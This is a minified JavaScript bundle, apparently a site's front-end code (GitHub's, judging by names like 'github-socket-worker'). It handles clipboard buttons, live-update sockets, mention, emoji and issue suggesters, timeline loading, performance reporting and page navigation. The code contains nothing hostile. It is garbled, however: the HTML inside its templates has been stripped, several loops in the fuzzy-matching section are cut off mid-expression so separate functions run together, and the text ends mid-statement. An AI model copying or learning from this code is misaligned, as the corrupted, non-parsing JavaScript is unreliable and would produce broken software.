l;a.addEventListener("scroll",()=>{l&&clearTimeout(l),i.style.display="none",l=setTimeout(()=>{i.style.display="inherit"},Na)},{signal:t})}e.appendChild(r)}s(Ba,"insertSnippetClipboardCopyButton"),(0,u.N7)("[data-snippet-clipboard-copy-content]",{constructor:HTMLElement,add(e){if(e.parentElement&&e.parentElement.classList.contains("js-no-snippet-clipboard-copy"))return;const t=new AbortController;ur.set(e,t),Ba(e,t.signal)}}),(0,u.N7)(".snippet-clipboard-content clipboard-copy",{constructor:HTMLElement,remove(e){const t=ur.get(e);t&&t.abort()}});function fr(e,t,n){mr(e,t),n&&e.classList.toggle("on");const o=Array.from(e.querySelectorAll(".js-social-updatable"),Me.x0);return Promise.all(o)}s(fr,"handleSocialResponse"),(0,C.AC)(".js-social-form",async function(e,t){var n,o;let r;const i=e.closest(".js-social-container"),a=e.classList.contains("js-deferred-toggler-target");try{r=await t.json(),i&&await fr(i,r.json.count,a)}catch(l){if(((n=l.response)==null?void 0:n.status)===409&&l.response.json.confirmationDialog){const y=l.response.json.confirmationDialog,w=document.querySelector(y.templateSelector),S=(o=e.querySelector(".js-confirm-csrf-token"))==null?void 0:o.value;if(w instanceof HTMLTemplateElement&&S){const R=new lt.R(w,{confirmUrl:e.action,confirmCsrfToken:S,...y.inputs||{}}),I=await(0,Te.W)({content:R});I.addEventListener("social-confirmation-form:success",async F=>{F instanceof CustomEvent&&i&&await fr(i,F.detail.count,a)}),I.addEventListener("social-confirmation-form:error",()=>{(0,T.v)()})}}else i&&!a&&i.classList.toggle("on"),(0,T.v)()}}),(0,C.AC)(".js-social-confirmation-form",async function(e,t){try{const n=await t.json();(0,c.f)(e,"social-confirmation-form:success",n.json)}catch{(0,c.f)(e,"social-confirmation-form:error")}});function mr(e,t){for(const n of e.querySelectorAll(".js-social-count")){n.textContent=t;const o=n.getAttribute("data-singular-suffix"),r=n.getAttribute("data-plural-suffix"),i=t==="1"?o:r;i&&n.setAttribute("aria-label",`${t} ${i}`)}}s(mr,"updateSocialCounts");var _e=f(21461);class hr extends _e.a2{constructor(t,n,o,r){super(t,()=>this.getUrlFromRefreshUrl(),o,r);this.refreshUrl=n}getUrlFromRefreshUrl(){return $a(this.refreshUrl)}}s(hr,"AliveSession");async function $a(e){const t=await Fa(e);return t&&t.url&&t.token?Ua(t.url,t.token):null}s($a,"fetchRefreshUrl");async function Fa(e){const t=await fetch(e,{headers:{Accept:"application/json"}});if(t.ok)return t.json();if(t.status===404)return null;throw new Error("fetch error")}s(Fa,"fetchJSON");async function Ua(e,t){const n=await fetch(e,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}});if(n.ok)return n.text();throw new Error("fetch error")}s(Ua,"post");const Et=[],Wa=3e4,za=0;let Lt=document.hidden,jt;function Ka(e){return e(Lt),Et.push(e),new M.w0(()=>{const t=Et.indexOf(e);t!==-1&&Et.splice(t,1)})}s(Ka,"addIdleStateListener"),document.addEventListener("visibilitychange",()=>{const e=document.hidden;jt!==void 0&&clearTimeout(jt),jt=setTimeout(()=>{if(e!==Lt){Lt=e,jt=void 0;for(const n of Et)n(Lt)}},e?Wa:za)});function Va(){return"SharedWorker"in window&&(0,$o.Z)("localStorage").getItem("bypassSharedWorker")!=="true"}s(Va,"isSharedWorkerSupported");function Xa(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket-src]"))==null?void 0:e.href)!=null?t:null}s(Xa,"workerSrc");function Ga(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.href)!=null?t:null}s(Ga,"socketUrl");function Za(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-refresh-url"))!=null?t:null}s(Za,"socketRefreshUrl");function Ja(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-session-id"))!=null?t:null}s(Ja,"sessionIdentifier");function Qa(e){return pr(e).map(t=>({subscriber:e,topic:t}))}s(Qa,"subscriptions");function pr(e){return(e.getAttribute("data-channel")||"").trim().split(/\s+/).map(_e.Zf.parse).filter(Ya)}s(pr,"channels");function Ya(e){return e!=null}s(Ya,"isPresent");function gr(e,{channel:t,type:n,data:o}){for(const r of e)r.dispatchEvent(new CustomEvent(`socket:${n}`,{bubbles:!1,cancelable:!1,detail:{name:t,data:o}}))}s(gr,"notify");class br{constructor(t,n,o,r,i){this.subscriptions=new _e.vk,this.presenceMetadata=new _e.ah,this.notifyPresenceDebouncedByChannel=new Map,this.notify=i,this.worker=new SharedWorker(t,`github-socket-worker-v2-${r}`),this.worker.port.onmessage=({data:a})=>this.receive(a),this.worker.port.postMessage({connect:{url:n,refreshUrl:o}})}subscribe(t){const n=this.subscriptions.add(...t);n.length&&this.worker.port.postMessage({subscribe:n});const o=new Set(n.map(i=>i.name)),r=t.reduce((i,a)=>{const l=a.topic.name;return(0,_e.A)(l)&&!o.has(l)&&i.add(l),i},new Set);r.size&&this.worker.port.postMessage({requestPresence:Array.from(r)})}unsubscribeAll(...t){const n=this.subscriptions.drain(...t);n.length&&this.worker.port.postMessage({unsubscribe:n});const o=this.presenceMetadata.removeSubscribers(t);this.sendPresenceMetadataUpdate(o)}updatePresenceMetadata(t){const n=new Set;for(const o of t)this.presenceMetadata.setMetadata(o),n.add(o.channelName);this.sendPresenceMetadataUpdate(n)}sendPresenceMetadataUpdate(t){if(!t.size)return;const n=[];for(const o of t)n.push({channelName:o,metadata:this.presenceMetadata.getChannelMetadata(o)});this.worker.port.postMessage({updatePresenceMetadata:n})}online(){this.worker.port.postMessage({online:!0})}offline(){this.worker.port.postMessage({online:!1})}hangup(){this.worker.port.postMessage({hangup:!0})}receive(t){const{channel:n}=t;if(t.type==="presence"){let o=this.notifyPresenceDebouncedByChannel.get(n);o||(o=(0,P.D)((r,i)=>{this.notify(r,i),this.notifyPresenceDebouncedByChannel.delete(n)},100),this.notifyPresenceDebouncedByChannel.set(n,o)),o(this.subscriptions.subscribers(n),t);return}this.notify(this.subscriptions.subscribers(n),t)}}s(br,"AliveSessionProxy");function ec(){const e=Xa();if(!e)return;const t=Ga();if(!t)return;const n=Za();if(!n)return;const o=Ja();if(!o)return;const i=s(()=>{if(Va())try{return new br(e,t,n,o,gr)}catch{}return new hr(t,n,!1,gr)},"createSession")(),a=(0,k.g)(w=>i.subscribe(w.flat())),l=(0,k.g)(w=>i.unsubscribeAll(...w)),y=(0,k.g)(w=>i.updatePresenceMetadata(w));(0,u.N7)(".js-socket-channel[data-channel]",{subscribe:w=>{const S=Qa(w),R=S.map(F=>F.topic.name).filter(F=>(0,_e.A)(F));let I={unsubscribe(){}};if(R.length){let F,X;const oe=s(()=>{const Q=[];F&&Q.push(F),X!==void 0&&Q.push({[_e.ZE]:X?1:0});for(const se of R)y({subscriber:w,channelName:se,metadata:Q})},"queueMetadataOrIdleChange");I=(0,M.qC)((0,M.RB)(w,"socket:set-presence-metadata",Q=>{const{detail:se}=Q;F=se,oe()}),Ka(Q=>{!(0,U.c)("PRESENCE_IDLE")||(X=Q,oe())}))}return a(S),I},remove:w=>l(w)}),window.addEventListener("online",()=>i.online()),window.addEventListener("offline",()=>i.offline()),window.addEventListener("pagehide",()=>{"hangup"in i&&i.hangup()})}s(ec,"connect"),(async()=>(await me.x,ec()))();const yr=new Map;function tc(e,t){const n=[];for(const o of e){const r=yr.get(o.name);r&&r.arrived>t&&n.push(r)}return n}s(tc,"stale");function nc(e,t){for(const n of e.querySelectorAll(".js-socket-channel[data-channel]"))for(const o of tc(pr(n),t))n.dispatchEvent(new CustomEvent("socket:message",{bubbles:!1,cancelable:!1,detail:{name:o.name,data:o.data,cached:!0}}))}s(nc,"dispatch");function oc(e){const{name:t,data:n,cached:o}=e.detail;if(o)return;const r={name:t,data:{...n},arrived:Date.now()};r.data.wait=0,yr.set(t,r)}s(oc,"store"),document.addEventListener("socket:message",oc,{capture:!0}),document.addEventListener("pjax:popstate",function(e){const t=e.target,n=e.detail.cachedAt;n&&setTimeout(()=>nc(t,n))}),(0,u.N7)("form.js-auto-replay-enforced-sso-request",{constructor:HTMLFormElement,initialize(e){(0,L.Bt)(e)}});var uu=f(41928);function vr(e,t,n){const o=e.getBoundingClientRect().height,r=t.getBoundingClientRect(),i=n.getBoundingClientRect();let a=i.top;a+r.height+10>=o&&(a=Math.max(o-r.height-10,0));let l=i.right;n.closest(".js-build-status-to-the-left")!=null&&(l=Math.max(i.left-r.width-10,0)),t.style.top=`${a}px`,t.style.left=`${l}px`,t.style.right="auto"}s(vr,"updateStatusPosition"),(0,c.on)("toggle",".js-build-status .js-dropdown-details",function(e){const t=e.currentTarget,n=t.querySelector(".js-status-dropdown-menu");if(!n)return;function o(){t.hasAttribute("open")||i()}s(o,"closeOnToggle");function r(a){n.contains(a.target)||i()}s(r,"closeOnScroll");function i(){t.removeAttribute("open"),n.classList.add("d-none"),t.appendChild(n),t.removeEventListener("toggle",o),window.removeEventListener("scroll",r)}s(i,"closeStatusPopover"),t.addEventListener("toggle",o),n.classList.contains("js-close-menu-on-scroll")&&window.addEventListener("scroll",r,{capture:!0}),n.classList.remove("d-none"),n.querySelector(".js-details-container").classList.add("open"),n.classList.contains("js-append-menu-to-body")&&(document.body.appendChild(n),vr(document.body,n,t))},{capture:!0});async function wr(e){const t=e.querySelector(".js-dropdown-details"),n=e.querySelector(".js-status-dropdown-menu")||e.closest(".js-status-dropdown-menu");if(!(n instanceof HTMLElement))return;const o=n.querySelector(".js-status-loader");if(!o)return;const r=n.querySelector(".js-status-loading"),i=n.querySelector(".js-status-error"),a=o.getAttribute("data-contents-url");r.classList.remove("d-none"),i.classList.add("d-none");let l;try{await(0,en.Z)(),l=await(0,pe.a)(document,a)}catch{r.classList.add("d-none"),i.classList.remove("d-none")}l&&(o.replaceWith(l),n.querySelector(".js-details-container").classList.add("open"),t&&n.classList.contains("js-append-menu-to-body")&&vr(document.body,n,t))}s(wr,"loadStatus"),(0,c.on)("click",".js-status-retry",({currentTarget:e})=>{wr(e)});function Er(e){const t=e.currentTarget;wr(t)}s(Er,"onMouseEnter"),(0,u.N7)(".js-build-status",{add(e){e.addEventListener("mouseenter",Er,{once:!0})},remove(e){e.removeEventListener("mouseenter",Er)}});var du=f(55898),rc=f(82841);(0,c.on)("click","button[data-sudo-required], summary[data-sudo-required]",Lr),(0,u.N7)("form[data-sudo-required]",{constructor:HTMLFormElement,subscribe:e=>(0,M.RB)(e,"submit",Lr)});async function Lr(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;e.stopPropagation(),e.preventDefault(),await(0,rc.Z)()&&(t.removeAttribute("data-sudo-required"),t instanceof HTMLFormElement?(0,L.Bt)(t):t.click())}s(Lr,"checkSudo");const jr={"actor:":"ul.js-user-suggestions","user:":"ul.js-user-suggestions","operation:":"ul.js-operation-suggestions","org:":"ul.js-org-suggestions","action:":"ul.js-action-suggestions","repo:":"ul.js-repo-suggestions","country:":"ul.js-country-suggestions"};(0,u.N7)("text-expander[data-audit-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",ic),(0,M.RB)(e,"text-expander-value",sc))});function sc(e){const t=e.detail;if(!Sr(t.key))return;const n=t.item.getAttribute("data-value");t.value=`${t.key}${n}`}s(sc,"onvalue");function ic(e){const{key:t,provide:n,text:o}=e.detail;if(!Sr(t))return;const i=e.target.getAttribute("data-audit-url");n(lc(i,t,o))}s(ic,"onchange");function ac(e,t){const n=t.toLowerCase(),o=s(r=>{const i=r.textContent.toLowerCase().trim(),a=(0,ge.EW)(i,n);return a>0?{score:a,text:i}:null},"key");return n?(0,Ge.W)(e,o,ge.qu):e}s(ac,"search");const cc=(0,qe.Z)(e=>[...e.children],{hash:e=>e.className});async function lc(e,t,n){const r=(await fc(e)).querySelector(uc(t));if(!r)return{matched:!1};const i=ac(cc(r),n).slice(0,5),a=r.cloneNode(!1);a.innerHTML="";for(const l of i)a.append(l);return{fragment:a,matched:i.length>0}}s(lc,"auditMenu");function Sr(e){return Object.getOwnPropertyNames(jr).includes(e)}s(Sr,"isActivationKey");function uc(e){const t=jr[e];if(!t)throw new Error(`Unknown audit log expander key: ${e}`);return t}s(uc,"audit_log_suggester_selector");async function dc(e){const t=await(0,pe.a)(document,e),n=document.createElement("div");return n.append(t),n}s(dc,"fetchMenu");const fc=(0,qe.Z)(dc);function mc(e){if(e.hasAttribute("data-use-colon-emoji"))return e.getAttribute("data-value");const t=e.firstElementChild;return t&&t.tagName==="G-EMOJI"&&!t.firstElementChild?t.textContent:e.getAttribute("data-value")}s(mc,"getValue");function hc(e,t){const n=` ${t.toLowerCase().replace(/_/g," ")}`,o=s(r=>{const i=r.getAttribute("data-emoji-name"),a=gc(pc(r),n);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(hc,"emoji_suggester_search");function pc(e){return` ${e.getAttribute("data-text").trim().toLowerCase().replace(/_/g," ")}`}s(pc,"emojiText");function gc(e,t){const n=e.indexOf(t);return n>-1?1e3-n:0}s(gc,"emojiScore"),(0,u.N7)("text-expander[data-emoji-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",yc),(0,M.RB)(e,"text-expander-value",bc))});function bc(e){const t=e.detail;t.key===":"&&(t.value=mc(t.item))}s(bc,"emoji_suggester_onvalue");function yc(e){const{key:t,provide:n,text:o}=e.detail;if(t!==":")return;const i=e.target.getAttribute("data-emoji-url");n(vc(i,o))}s(yc,"emoji_suggester_onchange");async function vc(e,t){const[n,o]=await Ec(e),r=hc(o,t).slice(0,5);n.innerHTML="";for(const i of r)n.append(i);return{fragment:n,matched:r.length>0}}s(vc,"emojiMenu");async function wc(e){const n=(await(0,pe.a)(document,e)).firstElementChild;return[n,[...n.children]]}s(wc,"fetchEmoji");const Ec=(0,qe.Z)(wc);var Pe=f(38772);function Lc(e){return`${e.number} ${e.title.trim().toLowerCase()}`}s(Lc,"asText");function jc(e,t){if(!t)return e;const n=new RegExp(`\\b${Sc(t)}`),o=/^\d+$/.test(t)?i=>Tc(i,n):i=>(0,ge.EW)(i,t),r=s(i=>{const a=Lc(i),l=o(a);return l>0?{score:l,text:a}:null},"key");return(0,Ge.W)(e,r,ge.qu)}s(jc,"issue_suggester_search");function Sc(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}s(Sc,"escapeRegExp");function Tc(e,t){const n=e.search(t);return n>-1?1e3-n:0}s(Tc,"issueNumberScore");function Ac(e,t,n){const o=s(i=>Pe.dy` +
      + ${i.map(r)} +
    + `,"itemsTemplate"),r=s(i=>{const a=i.type in n?(0,q.r)(document,n[i.type]):"";return Pe.dy` +
  • + ${a} + #${i.number} ${(0,Pe.Au)(i.title)} +
  • + `},"itemTemplate");(0,Pe.sY)(o(e),t)}s(Ac,"renderResults"),(0,u.N7)("text-expander[data-issue-url]",{subscribe:e=>{const t=[(0,M.RB)(e,"text-expander-change",kc),(0,M.RB)(e,"text-expander-value",Cc),(0,M.RB)(e,"keydown",Mc),(0,M.RB)(e,"click",xc)];return(0,M.qC)(...t)}});function Cc(e){const t=e.detail;if(t.key!=="#")return;const n=t.item.getAttribute("data-value");t.value=`#${n}`}s(Cc,"issue_suggester_onvalue");function kc(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="#")return;if(o==="#"){An(e.target);return}const i=e.target.getAttribute("data-issue-url");n(qc(i,o))}s(kc,"issue_suggester_onchange");function An(e){if(!e)return;const t=e.closest("text-expander");t&&t.dismiss()}s(An,"hideSuggestions");function xc(e){An(e.target)}s(xc,"issue_suggester_onclick");function Mc(e){const t=["ArrowRight","ArrowLeft"],{key:n}=e;t.indexOf(n)<0||An(e.target)}s(Mc,"issue_suggester_onkeydown");async function qc(e,t){const n=await Rc(e),o=document.createElement("div"),r=jc(n.suggestions,t).slice(0,5);return Ac(r,o,n.icons),{fragment:o.firstElementChild,matched:r.length>0}}s(qc,"issueMenu");const Rc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function _c(e){return e.description?`${e.name} ${e.description}`.trim().toLowerCase():`${e.login} ${e.name}`.trim().toLowerCase()}s(_c,"mention_suggester_asText");function Pc(e,t){if(!t)return e;const n=Dc(t),o=s(r=>{const i=_c(r),a=n(i,r.participant);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(Pc,"mention_suggester_search");function Ic(e,t){const n=s(r=>Pe.dy` +
      + ${r.map(o)} +
    + `,"itemsTemplate"),o=s(r=>{const i=r.type==="user"?r.login:r.name,a=r.type==="user"?r.name:r.description;return Pe.dy` +
  • + ${i} + ${a} +
  • + `},"itemTemplate");(0,Pe.sY)(n(e),t)}s(Ic,"mention_suggester_renderResults");function Dc(e){if(!e)return()=>2;const t=e.toLowerCase().split("");return(n,o)=>{if(!n)return 0;const r=Hc(n,t);if(!r)return 0;const a=e.length/r[1]/(r[0]/2+1);return o?a+1:a}}s(Dc,"fuzzyScorer");function Hc(e,t){let n,o,r,i;const a=Oc(e,t[0]);if(a.length===0)return null;if(t.length===1)return[a[0],1,[]];for(i=null,o=0,r=a.length;o-1;)o.push(n++);return o}s(Oc,"allIndexesOf");function Nc(e,t,n){let o=n;const r=[];for(let i=1;i(0,M.qC)((0,M.RB)(e,"text-expander-change",$c),(0,M.RB)(e,"text-expander-value",Bc))});function Bc(e){const t=e.detail;if(t.key!=="@")return;const n=t.item.getAttribute("data-value");t.value=`@${n}`}s(Bc,"mention_suggester_onvalue");function $c(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="@"||(o==null?void 0:o.split(" ").length)>1)return;const i=e.target.getAttribute("data-mention-url");n(Fc(i,o))}s($c,"mention_suggester_onchange");async function Fc(e,t){const n=await Uc(e),o=document.createElement("div"),r=Pc(n,t).slice(0,5);return Ic(r,o),{fragment:o.firstElementChild,matched:r.length>0}}s(Fc,"mentionMenu");const Uc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function Wc(e,t){const n=e.closest(".js-survey-question-form"),o=n.querySelector("input.js-survey-other-text"),r=t&&!n.classList.contains("is-other-selected");n.classList.toggle("is-other-selected",r),o.hidden=!t,r?(o.required=!0,o.focus()):o.required=!1,(0,c.f)(o,"change")}s(Wc,"handleOther"),(0,c.on)("change","input.js-survey-radio",function({currentTarget:e}){Wc(e,e.classList.contains("js-survey-radio-other"))}),(0,c.on)("change","input.js-survey-checkbox-enable-submit",function({currentTarget:e}){var t;const n=e.checked,o=(t=e.closest("form"))==null?void 0:t.querySelector("button[type=submit]");o.disabled=!n}),(0,c.on)("change","input.js-survey-contact-checkbox",function(e){const t=e.currentTarget,o=t.closest(".js-survey-question-form").querySelector(".js-survey-contact-checkbox-hidden");t.checked?o.setAttribute("disabled","true"):o.removeAttribute("disabled")}),(0,c.on)("details-menu-selected",".js-sync-select-menu-text",function(e){const t=document.querySelector(".js-sync-select-menu-button"),n=e.detail.relatedTarget.querySelector("span[data-menu-button-text]").textContent;t.textContent=n,t.focus()},{capture:!0}),(0,c.on)("click",'tab-container [role="tab"]',function(e){const{currentTarget:t}=e,o=t.closest("tab-container").querySelector(".js-filterable-field, [data-filter-placeholder-input]");if(o instanceof HTMLInputElement){const r=t.getAttribute("data-filter-placeholder");r&&o.setAttribute("placeholder",r),o.focus()}}),(0,c.on)("tab-container-changed","tab-container",function(e){const t=e.detail.relatedTarget,n=t.getAttribute("data-fragment-url"),o=t.querySelector("include-fragment");n&&o&&!o.hasAttribute("src")&&(o.src=n)});var fu=f(32222),Tr=f(96776);document.addEventListener("keydown",e=>{if(e.key!=="Escape"||e.target!==document.body)return;const t=document.querySelector(".js-targetable-element:target");!t||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)})}),document.addEventListener("click",e=>{const t=document.querySelector(".js-targetable-element:target");!t||e.target instanceof HTMLAnchorElement||e.target instanceof HTMLElement&&(t.contains(e.target)||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)}))});var mu=f(72669);async function zc(e){const t=e.currentTarget;if(Vc(t)){t.classList.remove("tooltipped");return}const n=t.getAttribute("data-url");if(!n)return;const o=await fetch(n,{headers:{Accept:"application/json"}});if(!o.ok)return;const r=await o.json(),i=t.getAttribute("data-id"),a=document.querySelectorAll(`.js-team-mention[data-id='${i}']`);for(const l of a)l.removeAttribute("data-url");try{r.total===0?r.members.push("This team has no members"):r.total>r.members.length&&r.members.push(`${r.total-r.members.length} more`),Ar(a,Kc(r.members))}catch(l){const y=l.response?l.response.status:500,w=t.getAttribute(y===404?"data-permission-text":"data-error-text");Ar(a,w)}}s(zc,"members");function Ar(e,t){for(const n of e)n instanceof HTMLElement&&(n.setAttribute("aria-label",t),n.classList.add("tooltipped","tooltipped-s","tooltipped-multiline"))}s(Ar,"tip");function Kc(e){if("ListFormat"in Intl)return new Intl.ListFormat().format(e);if(e.length===0)return"";if(e.length===1)return e[0];if(e.length===2)return e.join(" and ");{const t=e[e.length-1];return e.slice(0,-1).concat(`and ${t}`).join(", ")}}s(Kc,"sentence");function Vc(e){return!!e.getAttribute("data-hovercard-url")&&!!e.closest("[data-team-hovercards-enabled]")}s(Vc,"teamHovercardEnabled"),(0,u.N7)(".js-team-mention",function(e){e.addEventListener("mouseenter",zc)});function Xc(){const e=document.querySelector(".js-timeline-marker");return e!=null?e.getAttribute("data-last-modified"):null}s(Xc,"getTimelineLastModified");function Cr(e){if(Zc(e)||Gc(e))return;const t=Xc();t&&e.headers.set("X-Timeline-Last-Modified",t)}s(Cr,"addTimelineLastModifiedHeader");function Gc(e){return e.headers.get("X-PJAX")==="true"}s(Gc,"isPjax");function Zc(e){let t;try{t=new URL(e.url)}catch{return!0}return t.host!==window.location.host}s(Zc,"isCrossDomain"),(0,C.AC)(".js-needs-timeline-marker-header",function(e,t,n){Cr(n)}),(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){const{request:t}=e.detail;Cr(t)});const kr=5e3,Jc=".js-comment-body img",Qc=".js-comment-body video";(0,Xt.Z)(function(){St()}),(0,u.N7)(".js-timeline-progressive-focus-container",function(e){const t=Tt();if(!t||document.querySelector(".js-pull-discussion-timeline"))return;const o=document.getElementById(t);o&&e.contains(o)&&Cn(o)});function St(e=!0){const t=Tt();if(!t)return;const n=document.getElementById(t);if(n)Cn(n);else{if(Yc(t))return;const o=document.querySelector("#js-timeline-progressive-loader");o&&e&&qr(t,o)}}s(St,"focusOrLoadElement");function Yc(e){return el(e)||xr(e,".js-thread-hidden-comment-ids")||xr(e,".js-review-hidden-comment-ids")}s(Yc,"loadComments");function el(e){const t=Mr(e,".js-comment-container");return t?((0,Gt.$)(t),!0):!1}s(el,"loadResolvedComments");function xr(e,t){const n=Mr(e,t);return n?(n.addEventListener("page:loaded",function(){St()}),n.querySelector("button[type=submit]").click(),!0):!1}s(xr,"loadHiddenComments");function Mr(e,t){var n;const o=document.querySelectorAll(t);for(const r of o){const i=r.getAttribute("data-hidden-comment-ids");if(i){const a=i.split(","),l=(n=e.match(/\d+/g))==null?void 0:n[0];if(l&&a.includes(l))return r}}return null}s(Mr,"findCommentContainer"),(0,u.N7)(".js-inline-comments-container",function(e){const t=Tt();if(!t)return;const n=document.getElementById(t);n&&e.contains(n)&&Cn(n)}),(0,u.N7)("#js-discussions-timeline-anchor-loader",{constructor:HTMLElement,add:e=>{if(document.querySelector("#js-timeline-progressive-loader"))return;const n=Tt();if(!n)return;document.getElementById(n)||qr(n,e)}});async function tl(){const e=document.querySelectorAll(Qc),t=Array.from(e).map(n=>new Promise(o=>{if(n.readyState>=n.HAVE_METADATA)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("loadeddata",()=>{n.readyState>=n.HAVE_METADATA&&i()}),n.addEventListener("error",()=>i())}}));return Promise.all(t)}s(tl,"videosReady");async function nl(){const e=document.querySelectorAll(Jc),t=Array.from(e).map(n=>{new Promise(o=>{if(n.complete)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("load",()=>i()),n.addEventListener("error",()=>i())}})});return Promise.all(t)}s(nl,"imagesReady");async function ol(){return Promise.all([tl(),nl()])}s(ol,"mediaLoaded");async function Cn(e){await ol(),rl(e);const t=e.querySelector(`[href='#${e.id}']`);if(t){const n=t.getAttribute("data-turbo");t.setAttribute("data-turbo","false"),t.click(),n===null?t.removeAttribute("data-turbo"):t.setAttribute("data-turbo",n)}}s(Cn,"focusElement");async function qr(e,t){if(!t)return;const n=t.getAttribute("data-timeline-item-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search.slice(1));r.append("anchor",e),o.search=r.toString();let i;try{i=await(0,pe.a)(document,o.toString())}catch{return}const a=i.querySelector(".js-timeline-item");if(!a)return;const l=a.getAttribute("data-gid");if(!l)return;const y=document.querySelector(`.js-timeline-item[data-gid='${l}']`);if(y)y.replaceWith(a),St(!1);else{const w=document.getElementById("js-progressive-timeline-item-container");w&&w.replaceWith(i),St(!1)}}s(qr,"loadElement");function rl(e){const t=e.closest("details, .js-details-container");!t||(t.nodeName==="DETAILS"?t.setAttribute("open","open"):(0,Vt.jo)(t)||(0,Vt.Qp)(t))}s(rl,"expandDetailsIfPresent");function Tt(){return window.location.hash.slice(1)}s(Tt,"urlAnchor"),(0,u.N7)(".js-discussion",sl);function sl(){let e=new WeakSet;t(),document.addEventListener("pjax:end",t),document.addEventListener("turbo:load",t),(0,u.N7)(".js-timeline-item",n=>{n instanceof HTMLElement&&(e.has(n)||(0,h.N)(n))});function t(){e=new WeakSet(document.querySelectorAll(".js-timeline-item"))}s(t,"setExistingTimelineItems")}s(sl,"announceTimelineEvents");var Qe=f(82131);function Ye(e){const{name:t,value:n}=e,o={name:window.location.href};switch(t){case"CLS":o.cls=n;break;case"FCP":o.fcp=n;break;case"FID":o.fid=n;break;case"LCP":o.lcp=n;break;case"TTFB":o.ttfb=n;break}(0,he.b)({webVitalTimings:[o]}),il(t,n)}s(Ye,"sendVitals");function il(e,t){const n=document.querySelector("#staff-bar-web-vitals"),o=n==null?void 0:n.querySelector(`[data-metric=${e.toLowerCase()}]`);!o||(o.textContent=t.toPrecision(6))}s(il,"updateStaffBar");function al(){return!!(window.performance&&window.performance.timing&&window.performance.getEntriesByType)}s(al,"isTimingSuppported");async function cl(){if(!al())return;await me.C,await new Promise(n=>setTimeout(n));const e=window.performance.getEntriesByType("resource");e.length&&(0,he.b)({resourceTimings:e});const t=window.performance.getEntriesByType("navigation");t.length&&(0,he.b)({navigationTimings:t})}s(cl,"sendTimingResults"),cl(),(0,Qe.kz)(Ye),(0,Qe.Y)(Ye),(0,Qe.Tx)(Ye),(0,Qe.Tb)(Ye),(0,Qe.CA)(Ye),(0,c.on)("click",".js-toggler-container .js-toggler-target",function(e){if(e.button!==0)return;const t=e.currentTarget.closest(".js-toggler-container");t&&t.classList.toggle("on")}),(0,C.AC)(".js-toggler-container",async(e,t)=>{e.classList.remove("success","error"),e.classList.add("loading");try{await t.text(),e.classList.add("success")}catch{e.classList.add("error")}finally{e.classList.remove("loading")}}),async function(){var e;if("serviceWorker"in navigator){await me.x;const t=(e=document.querySelector('link[rel="service-worker-src"]'))==null?void 0:e.href;t?navigator.serviceWorker.register(t,{scope:"/"}):await ll()}}();async function ll(){let e=[];try{e=await navigator.serviceWorker.getRegistrations()}catch(t){if(t.name==="SecurityError")return}for(const t of e)t.unregister()}if(s(ll,"unregisterAllServiceWorkers"),(0,U.c)("TURBO")){const e={},t=s(S=>{var R;const I=S.querySelector("[data-turbo-head]")||S.head;return{title:(R=I.querySelector("title"))==null?void 0:R.textContent,scripts:[...S.querySelectorAll("script")],stylesheets:[...S.querySelectorAll("link[rel=stylesheet]")],transients:[...I.querySelectorAll("[data-pjax-transient]")]}},"getTurboCacheNode");(async()=>(await me.x,e[document.location.href]=t(document)))();let n,o=!1;document.addEventListener("turbo:visit",S=>{S instanceof CustomEvent&&(n=S.detail.url)}),document.addEventListener("turbo:before-fetch-response",async S=>{if(!(0,Wo.H)(S.target))return;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");r(I)}),document.addEventListener("turbo:frame-render",async S=>{o=!0;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");i(I),e[n]=t(I)}),document.addEventListener(Se.QE.SUCCESS,()=>{!o||(o=!1,a(),l(),y(),w(),document.dispatchEvent(new CustomEvent(Se.QE.FRAME_UPDATE)))});const r=s(S=>{var R;const I=(R=S.querySelector("meta[name=turbo-body-classes]"))==null?void 0:R.content;!I||document.body.setAttribute("class",I)},"replaceBodyClasses"),i=s(S=>{const R=S.querySelectorAll("[data-turbo-replace]"),I=[...document.querySelectorAll("[data-turbo-replace]")];for(const F of R){const X=I.find(oe=>oe.id===F.id);X&&X.replaceWith(F)}},"replaceElements"),a=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.title;R&&(document.title=R)},"replaceTitle"),l=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.transients;if(!!R){for(const I of document.querySelectorAll("head [data-pjax-transient]"))I.remove();for(const I of R)I.matches("title, script, 